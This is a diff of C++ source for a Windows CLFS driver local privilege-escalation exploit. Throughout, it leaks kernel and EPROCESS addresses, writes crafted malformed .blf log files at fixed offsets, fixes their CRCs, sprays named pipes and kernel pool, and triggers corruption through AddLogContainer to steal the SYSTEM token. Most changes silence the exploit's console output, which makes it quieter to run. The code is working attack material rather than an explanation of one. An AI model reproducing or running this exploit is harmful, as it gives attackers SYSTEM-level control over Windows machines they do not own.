malloc(0x2000); if (temp_chunk == 0) { exit(0); } @@ -202,17 +201,17 @@ void clfs_eop::getVirtualAddress() { for (ULONG i = 0; i < pBuf->Count; i++) { __try { if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) { - printf("[+] pool NpAt VirtualAddress -->%p\n", pBuf->AllocatedInfo[i].VirtualAddress); + dprintf("[+] pool NpAt VirtualAddress -->%p\n", pBuf->AllocatedInfo[i].VirtualAddress); para_PipeAttributeobjInkernel = (UINT64)pBuf->AllocatedInfo[i].VirtualAddress; break; } } __except (EXCEPTION_EXECUTE_HANDLER) { - printf("(%s) Access Violation was raised.", __FUNCTION__); + dprintf("(%s) Access Violation was raised.", __FUNCTION__); } } } - + return; } @@ -242,14 +241,14 @@ SIZE_T clfs_eop::GetObjectKernelAddress(HANDLE Object) if (!handleInfo) { - printf("[!] cannot read handle info %x\n", (unsigned int)GetLastError()); + dprintf("[!] cannot read handle info %x\n", (unsigned int)GetLastError()); exit(1); } ULONG numHandles = (ULONG)handleInfo->NumberOfHandles; if (!numHandles) { - printf("[!] cannot read number of handles %x\n", (unsigned int)GetLastError()); + dprintf("[!] cannot read number of handles %x\n", (unsigned int)GetLastError()); exit(1); } @@ -297,17 +296,17 @@ VOID clfs_eop::InitEnvironment() DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS); g_EProcessAddress = GetObjectKernelAddress(hProcess); - printf("[+] MY EPROCESSS %p\n", (void*)g_EProcessAddress); + dprintf("[+] MY EPROCESSS %p\n", (void*)g_EProcessAddress); system_EPROCESS = GetObjectKernelAddress((HANDLE)4); - printf("[+] SYSTEM EPROCESSS %p\n", (void*)system_EPROCESS); + dprintf("[+] SYSTEM EPROCESSS %p\n", (void*)system_EPROCESS); DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS); g_EThreadAddress = GetObjectKernelAddress(hThread); - printf("[+] _ETHREAD ADDRESS %p\n", (void*)g_EThreadAddress); + dprintf("[+] _ETHREAD ADDRESS %p\n", (void*)g_EThreadAddress); g_PreviousModeAddress = g_EThreadAddress + OFFSET_OF_PREVIOUS_MODE; - printf("[+] PREVIOUS MODE ADDRESS %p\n", (void*)g_PreviousModeAddress); + dprintf("[+] PREVIOUS MODE ADDRESS %p\n", (void*)g_PreviousModeAddress); FindKernelModulesBase(); @@ -321,18 +320,17 @@ VOID clfs_eop::InitEnvironment() } - offset_ClfsEarlier = (UINT64)user_ClfsEarlierLsn - (UINT64)CLFS_userBase; offset_ClfsMgmtDeregisterManagedClient = (UINT64)user_ClfsMgmtDeregisterManagedClient - (UINT64)CLFS_userBase; - printf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", (void*)offset_ClfsEarlier); - printf("[+] Offset ClfsMgmtDeregisterManagedClient --------------------------> %p\n", (void*)offset_ClfsMgmtDeregisterManagedClient); + dprintf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", (void*)offset_ClfsEarlier); + dprintf("[+] Offset ClfsMgmtDeregisterManagedClient --------------------------> %p\n", (void*)offset_ClfsMgmtDeregisterManagedClient); fnClfsEarlierLsn = clfs_kernelBase + offset_ClfsEarlier; fnClfsMgmtDeregisterManagedClient = clfs_kernelBase + offset_ClfsMgmtDeregisterManagedClient; - printf("[+] Kernel ClfsEarlierLsn --------------------------> %p\n", (void*)fnClfsEarlierLsn); - printf("[+] Kernel ClfsMgmtDeregisterManagedClient --------------------------> %p\n", (void*)fnClfsMgmtDeregisterManagedClient); + dprintf("[+] Kernel ClfsEarlierLsn --------------------------> %p\n", (void*)fnClfsEarlierLsn); + //printf("[+] Kernel ClfsMgmtDeregisterManagedClient --------------------------> %p\n", (void*)fnClfsMgmtDeregisterManagedClient); //Find NTOSKRNL functions @@ -349,19 +347,17 @@ VOID clfs_eop::InitEnvironment() offset_PoFxProcessorNotification = (UINT64)user_PoFxProcessorNotification - (UINT64)ntos_userBase; offset_SeSetAccessStateGenericMapping = (UINT64)user_SeSetAccessStateGenericMapping - (UINT64)ntos_userBase; - printf("[+] Offset RtlClearBit --------------------------> %p\n", (void*)offset_RtlClearBit); - printf("[+] Offset PoFxProcessorNotification --------------------------> %p\n", (void*)offset_PoFxProcessorNotification); - printf("[+] Offset SeSetAccessStateGenericMapping --------------------------> %p\n", (void*)offset_SeSetAccessStateGenericMapping); - - + dprintf("[+] Offset RtlClearBit --------------------------> %p\n", (void*)offset_RtlClearBit); + dprintf("[+] Offset PoFxProcessorNotification --------------------------> %p\n", (void*)offset_PoFxProcessorNotification); + dprintf("[+] Offset SeSetAccessStateGenericMapping --------------------------> %p\n", (void*)offset_SeSetAccessStateGenericMapping); fnRtlClearBit = ntos_kernelBase + offset_RtlClearBit; fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccessStateGenericMapping; fnPoFxProcessorNotification = ntos_kernelBase + offset_PoFxProcessorNotification; - printf("[+] Kernel RtlClearBit --------------------------> %p\n", (void*)fnRtlClearBit); - printf("[+] Kernel SeSetAccessStateGenericMapping --------------------------> %p\n\n", (void*)fnSeSetAccessStateGenericMapping); - printf("[+] Kernel PoFxProcessorNotification --------------------------> %p\n\n", (void*)fnPoFxProcessorNotification); + dprintf("[+] Kernel RtlClearBit --------------------------> %p\n", (void*)fnRtlClearBit); + dprintf("[+] Kernel SeSetAccessStateGenericMapping --------------------------> %p\n\n", (void*)fnSeSetAccessStateGenericMapping); + dprintf("[+] Kernel PoFxProcessorNotification --------------------------> %p\n\n", (void*)fnPoFxProcessorNotification); return; } @@ -378,8 +374,6 @@ int clfs_eop::createInitialLogFile() { } - - WCHAR* tmp_env = (WCHAR*)malloc(0x1000); if (!tmp_env) { @@ -397,7 +391,7 @@ int clfs_eop::createInitialLogFile() { WCHAR* tmp_env2 = (WCHAR*)malloc(0x1000); if (!tmp_env2) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + dprintf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } @@ -406,14 +400,13 @@ int clfs_eop::createInitialLogFile() { wsprintfW(stored_env_log, L"LOG:%s", stored_env); - srand((unsigned int)time(NULL)); random_part = rand() % 100 + 1; WCHAR* tmp_env3 = (WCHAR*)malloc(0x1000); if (!tmp_env3) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + dprintf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } @@ -421,14 +414,13 @@ int clfs_eop::createInitialLogFile() { memset(tmp_env3, 0, 0x1000); wsprintfW(stored_name_CreateLog, L"%s\\%d", stored_env_log, random_part);//en el blogpost es para_pszLogFileName - wprintf((LPWSTR)L"[+] Base log file name path= %ls\n", stored_name_CreateLog); //stored_env_fname is example=LOG:C:\Users\Public\1280 WCHAR* tmp_env4 = (WCHAR*)malloc(0x1000); if (!tmp_env4) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + dprintf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } @@ -436,51 +428,41 @@ int clfs_eop::createInitialLogFile() { memset(tmp_env4, 0, 0x1000); - wsprintfW(stored_name_fopen, L"%s\\%d.blf", stored_env, random_part); ////en el blogpost es para_myLogfileName - + wsprintfW(stored_name_fopen, L"%s\\%d.blf", stored_env, random_part); ////en el blogpost es para_myLogfileName wprintf((LPWSTR)L"[+] Base file path = %ls\n", stored_name_fopen); //stored_env_open example=C:\Users\Public\1623.blf WCHAR* tmp_env6 = (WCHAR*)malloc(0x1000); if (!tmp_env6) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + dprintf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } - stored_env_containerfname = tmp_env6; + stored_env_containerfname = tmp_env6; memset(tmp_env6, 0, 0x1000); - srand((unsigned int)time(NULL)); int rand0 = rand(); wsprintfW(stored_env_containerfname, L"%s\\.p_%d", stored_env, random_part); - wprintf((LPWSTR)L"[+] Container file name path = %ls\n", stored_env_containerfname); //stored_env_containerfname example=C:\Users\Public\.2796 + wprintf((LPWSTR)L"[+] Container file name path = %ls\n", stored_env_containerfname); //stored_env_containerfname example=C:\Users\Public\.2796 WCHAR* tmp_env7 = (WCHAR*)malloc(0x1000); - - - // 1. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0); - - if (logFile == INVALID_HANDLE_VALUE) { DWORD error = GetLastError(); - printf("Could not create LOGfile1, error: 0x%x\n", (unsigned int)error); + dprintf("Could not create LOGfile1, error: 0x%x\n", (unsigned int)error); exit(-1); } - CloseHandle(logFile); - - return 0; } @@ -500,7 +482,7 @@ UINT64 clfs_eop::getBigPoolInfo() DWORD* temp_big_pool_info = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4); if (!temp_big_pool_info) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + //printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } if (fnNtQuerySystemInformation(SystemBigPoolInformation, temp_big_pool_info, 0x1000, &retlen) == 0xC0000004) @@ -514,7 +496,7 @@ UINT64 clfs_eop::getBigPoolInfo() temp_big_pool_info = buf_big_pool_info; if (!buf_big_pool_info) { - printf("[+] Error Allocating Memory\n"); + //printf("[+] Error Allocating Memory\n"); break; } @@ -534,14 +516,13 @@ UINT64 clfs_eop::getBigPoolInfo() field_count = (UINT) * (PUINT)temp_big_pool_info; // v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION - if (flag2 == 0) { kernelAddrArray = (PUINT64)malloc((UINT64)field_count * 8); if (!kernelAddrArray) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + //printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } - // printf("Kernel addresss array %p", kernelAddrArray); + //printf("Kernel addresss array %p", kernelAddrArray); memset(kernelAddrArray, 0, ((UINT64)field_count * 8)); flag2++; } @@ -552,7 +533,6 @@ UINT64 clfs_eop::getBigPoolInfo() //printf("amount_of_CLFS_pools %d\n", amount_of_CLFS_pools); p_possible_kernelAddrArray = (PUINT64)&temp_big_pool_info[4 * field_count - 4 + 2 * field_count]; - do { possible_kernelAddres = *p_possible_kernelAddrArray & 0xFFFFFFFFFFFFFFFE; @@ -562,7 +542,7 @@ UINT64 clfs_eop::getBigPoolInfo() } if (p_possible_kernelAddrArray[1] == 0x7a00) // search for the clfs base log file size { - + UINT v12 = 0; while (1) { @@ -575,7 +555,7 @@ UINT64 clfs_eop::getBigPoolInfo() if (v12 == 5) // tag Clfs found ! { UINT v14 = 0; - + if (amount_of_CLFS_pools <= 0) { @@ -610,7 +590,6 @@ UINT64 clfs_eop::getBigPoolInfo() } } - ++contador; p_possible_kernelAddrArray -= 3; // back 0x18 to previous System Big Pool Entry to find the 0x7a00 } while (contador < field_count); // it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION @@ -619,7 +598,7 @@ UINT64 clfs_eop::getBigPoolInfo() } if (p_pool_CLFS && v8 == 0) { - printf("[+] Not found available chunk\n"); + //printf("[+] Not found available chunk\n"); exit(1); } VirtualFree(temp_big_pool_info, 0, 0x8000); @@ -631,12 +610,11 @@ UINT64 clfs_eop::getBigPoolInfo() VOID clfs_eop::craftbaseFile(FILE* pfile) { - unsigned char RecordOffset12[] = { 0x69, 0x03 }; // offset 0x858 RecordOffset[12d] to 0x369 - unsigned char data1[] = { 0xa0, 0x15}; // offset 0x1dd0 to 0x15a0 + unsigned char data1[] = { 0xa0, 0x15 }; // offset 0x1dd0 to 0x15a0 - unsigned char data2[] = { 0x70, 0x15}; // offset 0x1dd4 to 0x1570 + unsigned char data2[] = { 0x70, 0x15 }; // offset 0x1dd4 to 0x1570 unsigned char data3[] = { 0x08, 0xf0, 0xfd, 0xc1 }; // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 @@ -644,11 +622,9 @@ VOID clfs_eop::craftbaseFile(FILE* pfile) { unsigned char data5[] = { 0x00, 0x00, 0x00, 0x05 }; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContainer + unsigned char data6[] = { 0x58, 0x18 }; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContaine - unsigned char data6[] = { 0x58, 0x18}; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContaine - - unsigned char data7[] = { 0x88, 0x18}; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContaine - + unsigned char data7[] = { 0x88, 0x18 }; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContaine fseek(pfile, 0x858, SEEK_SET); fwrite(RecordOffset12, sizeof(char), sizeof(RecordOffset12), pfile); // offset 0x858 RecordOffset[12d] to 0x369 @@ -661,13 +637,13 @@ VOID clfs_eop::craftbaseFile(FILE* pfile) { fseek(pfile, 0x1de0, SEEK_SET); fwrite(data3, sizeof(char), sizeof(data3), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 - + fseek(pfile, 0x20b8, SEEK_SET); fwrite(data7, sizeof(char), sizeof(data7), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 fseek(pfile, 0x20bc, SEEK_SET); fwrite(data6, sizeof(char), sizeof(data6), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 - + fseek(pfile, 0x20c8, SEEK_SET); fwrite(data3, sizeof(char), sizeof(data3), pfile); // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 @@ -683,8 +659,6 @@ VOID clfs_eop::craftbaseFile(FILE* pfile) { fseek(pfile, 0x1df8, SEEK_SET); fwrite(data5, sizeof(char), sizeof(data5), pfile); // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContainer - - fseek(pfile, 0x8258, SEEK_SET); fwrite(RecordOffset12, sizeof(char), sizeof(RecordOffset12), pfile); // offset 0x8258 RecordOffset[12d] to 0x369// offset 0x858 RecordOffset[12d] to 0x369 @@ -703,13 +677,12 @@ VOID clfs_eop::craftbaseFile(FILE* pfile) { fseek(pfile, 0x97f8, SEEK_SET); fwrite(data5, sizeof(char), sizeof(data5), pfile); // offset 0x1df8 shadow block to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContainer - return; } VOID clfs_eop::craftSprayFile(FILE* pfile) { - unsigned char ValidSectorCount[] = { 0x01, 0x00}; // offset 0x6 ValidSectorCount + unsigned char ValidSectorCount[] = { 0x01, 0x00 }; // offset 0x6 ValidSectorCount unsigned char ullDumpCount[] = { 0x02, 0x00 }; // offset 0x70 ullDumpCount @@ -727,7 +700,6 @@ VOID clfs_eop::craftSprayFile(FILE* pfile) { unsigned char cbsymbolZone[] = { 0xc8, 0x65 }; // offset 0x1b98 cbsymbolZone for windows 11 and 10 - unsigned char rawData[512] = { 0x15, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, @@ -774,7 +746,6 @@ VOID clfs_eop::craftSprayFile(FILE* pfile) { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x01 }; - fseek(pfile, 0x400, SEEK_SET); fwrite(rawData, sizeof(char), sizeof(rawData), pfile); //build a valid header in shadow @@ -786,21 +757,20 @@ VOID clfs_eop::craftSprayFile(FILE* pfile) { fseek(pfile, 0x6, SEEK_SET); fwrite(ValidSectorCount, sizeof(char), sizeof(ValidSectorCount), pfile); //ValidSectorCount to 1 - fseek(pfile, 0x70, SEEK_SET); fwrite(ullDumpCount, sizeof(char), sizeof(ullDumpCount), pfile); //ullDumpCount to 2 fseek(pfile, 0x84, SEEK_SET); - fwrite(eExtendState, sizeof(char), sizeof(eExtendState), pfile); //changing the eExtendState to 2 (ClfsExtendStateFlushingBlock) + fwrite(eExtendState, sizeof(char), sizeof(eExtendState), pfile); //changing the eExtendState to 2 (ClfsExtendStateFlushingBlock) fseek(pfile, 0x88, SEEK_SET); - fwrite(iFlushBlock, sizeof(char), sizeof(iFlushBlock), pfile); //changing the iExtendBlock to 4 + fwrite(iFlushBlock, sizeof(char), sizeof(iFlushBlock), pfile); //changing the iExtendBlock to 4 fseek(pfile, 0x8A, SEEK_SET); - fwrite(iFlushBlock, sizeof(char), sizeof(iFlushBlock), pfile); //changing the iFlushBlock to 4 + fwrite(iFlushBlock, sizeof(char), sizeof(iFlushBlock), pfile); //changing the iFlushBlock to 4 fseek(pfile, 0x90, SEEK_SET); - fwrite(cExtendStartSectors, sizeof(char), sizeof(cExtendStartSectors), pfile); //changing the cExtendStartSectors to 1 + fwrite(cExtendStartSectors, sizeof(char), sizeof(cExtendStartSectors), pfile); //changing the cExtendStartSectors to 1 fseek(pfile, 0x94, SEEK_SET); fwrite(cExtendSectors, sizeof(char), sizeof(cExtendSectors), pfile); //changing the cExtendSectors to 3 @@ -809,19 +779,17 @@ VOID clfs_eop::craftSprayFile(FILE* pfile) { fwrite(cClients, sizeof(char), sizeof(cClients), pfile); //changing the cClients to 2 fseek(pfile, 0x484, SEEK_SET); - fwrite(eExtendState, sizeof(char), sizeof(eExtendState), pfile); //changing the eExtendState of the shadow block to 2 (ClfsExtendStateFlushingBlock) - + fwrite(eExtendState, sizeof(char), sizeof(eExtendState), pfile); //changing the eExtendState of the shadow block to 2 (ClfsExtendStateFlushingBlock) unsigned char iExtendBlock2[] = { 0x0, 0x00 }; // offset 0x488 iExtendBlock2 unsigned char iFlushBlock2[] = { 0x13, 0x00 }; // offset 0x48a iFlushBlock2 fseek(pfile, 0x488, SEEK_SET); - fwrite(iExtendBlock2, sizeof(char), sizeof(iExtendBlock2), pfile); //changing the iExtendBlock of the shadow block to 13 + fwrite(iExtendBlock2, sizeof(char), sizeof(iExtendBlock2), pfile); //changing the iExtendBlock of the shadow block to 13 fseek(pfile, 0x48A, SEEK_SET); - fwrite(iFlushBlock2, sizeof(char), sizeof(iFlushBlock2), pfile); //changing the iFlushBlock of the shadow block to 13 - + fwrite(iFlushBlock2, sizeof(char), sizeof(iFlushBlock2), pfile); //changing the iFlushBlock of the shadow block to 13 fseek(pfile, 0x1b98, SEEK_SET); fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile); // changing the cbsymbolZone to 0x65c8 @@ -863,7 +831,7 @@ int clfs_eop::FixCRCFile(WCHAR* _stored_temp_open) { if (numread != NUMELEM2) { - printf("ERROR2\n"); + //printf("ERROR2\n"); CloseHandle(hFile); return 1; } @@ -878,7 +846,7 @@ int clfs_eop::FixCRCFile(WCHAR* _stored_temp_open) { if (numread != NUMELEM) { - printf("ERROR3\n"); + //printf("ERROR3\n"); CloseHandle(hFile); return 1; } @@ -893,14 +861,13 @@ int clfs_eop::FixCRCFile(WCHAR* _stored_temp_open) { if (numread != NUMELEM) { - printf("ERROR4\n"); + //printf("ERROR4\n"); CloseHandle(hFile); return 1; } uint32_t CRC3 = crcCalculatorAndFix(buff3, NUMELEM); - //printf("CRC = %x\n", CRC); //printf("CRC1 = %x\n", CRC1); //printf("CRC2 = %x\n", CRC2); @@ -935,8 +902,6 @@ int clfs_eop::crcCalculatorAndFix(char* mybuf, int mysize) { bool begun; }; - - char* ptr = (char*)mybuf; uint16_t slen = mysize; @@ -947,9 +912,6 @@ int clfs_eop::crcCalculatorAndFix(char* mybuf, int mysize) { ptr++; } - - - return CRC; } @@ -960,7 +922,7 @@ int clfs_eop::doFirstAlloc() { if (!VirtualAlloc((LPVOID)alloc00, 0x100000, 0x3000, 4)) { - printf("[-] Failed to allocate memory\n"); + //printf("[-] Failed to allocate memory\n"); return 0; } @@ -1021,35 +983,32 @@ VOID clfs_eop::FindKernelModulesBase() if (!strncmp(clfs_path, (CHAR*)psm->Modules[i].FullPathName, strlen(clfs_path))) break; } - clfs_kernelBase = (UINT64)psm->Modules[i].ImageBase; return; } void clfs_eop::manage_args(int argc, TCHAR* argv[]) { - + if (argc != 3) { - printf("[+] Incorrect number of arguments ... using default value 1208 and flag 1 for w11 and w10\n"); + //printf("[+] Incorrect number of arguments ... using default value 1208 and flag 1 for w11 and w10\n"); argv[1] = (TCHAR*)"1208"; argv[2] = (TCHAR*)"1"; } - - token_offset = 1208; if (token_offset == 0) { - printf("[+] Invalid token offset argument, must be decimal number\n"); + //printf("[+] Invalid token offset argument, must be decimal number\n"); exit(1); } flag = 1; if (flag == 0) { - printf("[+] Invalid token offset argument, must be decimal number\n"); + //printf("[+] Invalid token offset argument, must be decimal number\n"); exit(1); } - printf("\n\nARGUMENTS\n"); - printf("[+] TOKEN OFFSET %x\n", token_offset); - printf("[+] FLAG %x\n\n", flag); + //printf("\n\nARGUMENTS\n"); + //printf("[+] TOKEN OFFSET %x\n", token_offset); + //printf("[+] FLAG %x\n\n", flag); return; } @@ -1070,7 +1029,7 @@ void clfs_eop::fun_prepare() { _wfopen_s(&pfile, stored_name_fopen, L"rb+"); if (pfile == 0) { - printf("\nCant't open file, error %x\n", GetLastError()); + //printf("\nCant't open file, error %x\n", GetLastError()); exit(1); } craftbaseFile(pfile); @@ -1086,7 +1045,6 @@ void clfs_eop::fun_prepare() { HMODULE nt = GetModuleHandleA("ntdll"); - dest2 = 0xffffffff; dest3 = 0x100000007; value2 = 0x414141414141005A; @@ -1100,38 +1058,32 @@ void clfs_eop::fun_prepare() { memset((LPVOID)dest3, 0, 0xff8); *(UINT64*)dest2 = system_EPROCESS_high; - *(UINT64*)dest3 = value2; CLFS_kernelAddrArray = getBigPoolInfo(); - //wprintf(L"Name %s", stored_name_CreateLog); + wprintf(L"Name %s", stored_name_CreateLog); hlogfile = CreateLogFile(stored_name_CreateLog, 0xC0010000, FILE_SHARE_READ, 0, 3, 0); if (hlogfile == INVALID_HANDLE_VALUE) { - printf("[+] Can't open hlog file\n"); + //printf("[+] Can't open hlog file\n"); exit(0); } CLFS_kernelAddrArray = getBigPoolInfo(); - - - LONGLONG pcbContainer = 512; WCHAR pwszContainerPath[768] = { 0 }; wsprintfW(pwszContainerPath, stored_env_containerfname); - if (!AddLogContainer(hlogfile, (PULONGLONG)&pcbContainer, pwszContainerPath, 0)) { CloseHandle(hlogfile); - printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n"); + //printf("AddLogContainer Fail, please delete C:\\Users\\Public\\MyLxg_xxx.blf and try again\n"); exit(1); } - printf("[+] Log file handle: %p\n", hlogfile); - - printf("[+] Pool CLFS kernel address: %p\n", (void*)CLFS_kernelAddrArray); + //printf("[+] Log file handle: %p\n", hlogfile); + //printf("[+] Pool CLFS kernel address: %p\n", (void*)CLFS_kernelAddrArray); return; @@ -1142,17 +1094,13 @@ WCHAR* clfs_eop::logFileNames(int _i) { tmp_env8 = (WCHAR*)malloc(0x1000); if (!tmp_env8) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + //printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } memset(tmp_env8, 0, 0x1000); - - - wsprintfW(tmp_env8, L"LOG:%s\\%d_%d", stored_env, _i, random_part2); - - //wprintf((LPWSTR)L"[+] Log file name used in CreateLogFile Path = %ls\n", tmp_env8); //stored_env_spray is example=LOG:C:\Users\Public\1280 + wprintf((LPWSTR)L"[+] Log file name used in CreateLogFile Path = %ls\n", tmp_env8); //stored_env_spray is example=LOG:C:\Users\Public\1280 return tmp_env8; } @@ -1162,17 +1110,13 @@ WCHAR* clfs_eop::containerNames(int _i) { tmp_env8 = (WCHAR*)malloc(0x1000); if (!tmp_env8) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + //printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } memset(tmp_env8, 0, 0x1000); - - - wsprintfW(tmp_env8, L"%s\\.p_%d_%d", stored_env, _i, random_part2); - return tmp_env8; } @@ -1181,17 +1125,13 @@ WCHAR* clfs_eop::fileNames(int _i) { tmp_env8 = (WCHAR*)malloc(0x1000); if (!tmp_env8) { - printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + //printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); exit(1); } memset(tmp_env8, 0, 0x1000); - - - wsprintfW(tmp_env8, L"%s\\%d_%d.blf", stored_env, _i, random_part2); - return tmp_env8; } @@ -1199,10 +1139,9 @@ int clfs_eop::fun_trigger(WCHAR* _logfilename, WCHAR* _fopenfilename) { int error_flag = 0; - _wfopen_s(&pfile2, _fopenfilename, L"r+"); if (pfile2 == 0) { - printf("Cant't open file, error %x\n", GetLastError()); + //printf("Cant't open file, error %x\n", GetLastError()); exit(1); } @@ -1211,18 +1150,14 @@ int clfs_eop::fun_trigger(WCHAR* _logfilename, WCHAR* _fopenfilename) { craftSprayFile(pfile2); fclose(pfile2); - error_flag=FixCRCFile(_fopenfilename); - + error_flag = FixCRCFile(_fopenfilename); return error_flag; } void clfs_eop::to_trigger() { - - // 1. Create a spray log file in the folder C:\Users\Public\ via the CreateLogFile API - //printf("\nSpraying log files\n"); srand((unsigned int)time(NULL)); @@ -1236,23 +1171,23 @@ void clfs_eop::to_trigger() if (logFile2 == INVALID_HANDLE_VALUE) { DWORD error = GetLastError(); - printf("Could not create LOGfile2, error: 0x%x\n", (unsigned int)error); + //printf("Could not create LOGfile2, error: 0x%x\n", (unsigned int)error); exit(-1); } CloseHandle(logFile2); for (int i = 1; i < 10; i++) { - + stored_log_arrays[i] = logFileNames(i); stored_container_arrays[i] = containerNames(i); stored_fopen_arrays[i] = fileNames(i); - int resul=CopyFileW(fileNames(0), fileNames(i), TRUE); + int resul = CopyFileW(fileNames(0), fileNames(i), TRUE); if (resul == 0) { DWORD error = GetLastError(); - printf("copy error: 0x%x\n", (unsigned int)error); + //printf("copy error: 0x%x\n", (unsigned int)error); exit(-1); } @@ -1291,8 +1226,7 @@ void clfs_eop::to_trigger() _size = -1; - - handles_buffer1 = (UINT64 *)malloc(_size); + handles_buffer1 = (UINT64*)malloc(_size); if (!handles_buffer1) { exit(0); } fun_pipeSpray(0x5000, handles_buffer1); //call to fun_pipeSpray with 0x5000 value @@ -1307,7 +1241,7 @@ void clfs_eop::to_trigger() fun_pipeSpray(0x4000, handles_buffer2);//call to fun_pipeSpray with 0x4000 value - UINT64 * pipeA = handles_buffer1; + UINT64* pipeA = handles_buffer1; UINT64* pipeB = handles_buffer2; UINT64* resulpipe = pipeA + 1; UINT64* resulpipe2 = pipeB + 1; @@ -1316,7 +1250,7 @@ void clfs_eop::to_trigger() for (int j = 0; j < 0x5000; j++) { - if (!WriteFile((HANDLE) *resulpipe, arrayCLFSkernelAddress, 0x60, &byteswritten, 0)) + if (!WriteFile((HANDLE)*resulpipe, arrayCLFSkernelAddress, 0x60, &byteswritten, 0)) { do { @@ -1334,7 +1268,7 @@ void clfs_eop::to_trigger() resulpipe += 2; } - UINT64 * pipeA_2 = pipeA + 0x2000; + UINT64* pipeA_2 = pipeA + 0x2000; UINT64 const_0x667 = 0x667; do @@ -1345,7 +1279,6 @@ void clfs_eop::to_trigger() --const_0x667; } while (const_0x667); - WCHAR** arrays_log_names = stored_log_arrays; UINT64 const_10 = 10; UINT64 const_10b = 10; @@ -1354,20 +1287,19 @@ void clfs_eop::to_trigger() do { --const_10; - //wprintf((LPWSTR)L"\n[+] Names again = %ls\n", stored_log_arrays[const_10]); - logFile = CreateLogFile(stored_log_arrays[const_10], GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ, 0, OPEN_ALWAYS, 0); + wprintf((LPWSTR)L"\n[+] Names again = %ls\n", stored_log_arrays[const_10]); + logFile = CreateLogFile(stored_log_arrays[const_10], GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_ALWAYS, 0); if (logFile == INVALID_HANDLE_VALUE) { DWORD error = GetLastError(); - printf("Could not create LOGfile3, error: 0x%x\n", (unsigned int)error); + //printf("Could not create LOGfile3, error: 0x%x\n", (unsigned int)error); exit(-1); } - //printf("logFile %x\n", logFile); store_handles[z] = logFile; z++; - + } while (const_10); int contador_2 = 0164; @@ -1393,107 +1325,93 @@ void clfs_eop::to_trigger() LONGLONG pcbContainer2 = 512; int contador_3 = 0; int resul = 0; + int token_offset = 1208; while (1) // one version - { - _int64 v57 = (_int64)temp_chunk; - - - dprintf("TRIGGER START\n"); - - resul = AddLogContainer(store_handles[contador_3], (PULONGLONG)&pcbContainer2, stored_container_arrays[contador_3], 0);// AddLogContainer - - *(UINT64*)0x5000040 = 0x5000000; - *(UINT64*)0x5000000 = 0x5001000; - *(UINT64*)0x5001000 = fnClfsEarlierLsn; - *(UINT64*)0x5001008 = fnPoFxProcessorNotification; - *(UINT64*)0x5001010 = fnClfsEarlierLsn; - *(UINT64*)0x5001018 = fnClfsEarlierLsn; - *(UINT64*)0x5001020 = fnClfsEarlierLsn; - *(UINT64*)0x5001028 = fnClfsEarlierLsn; - *(UINT64*)0x5001030 = fnClfsEarlierLsn; - 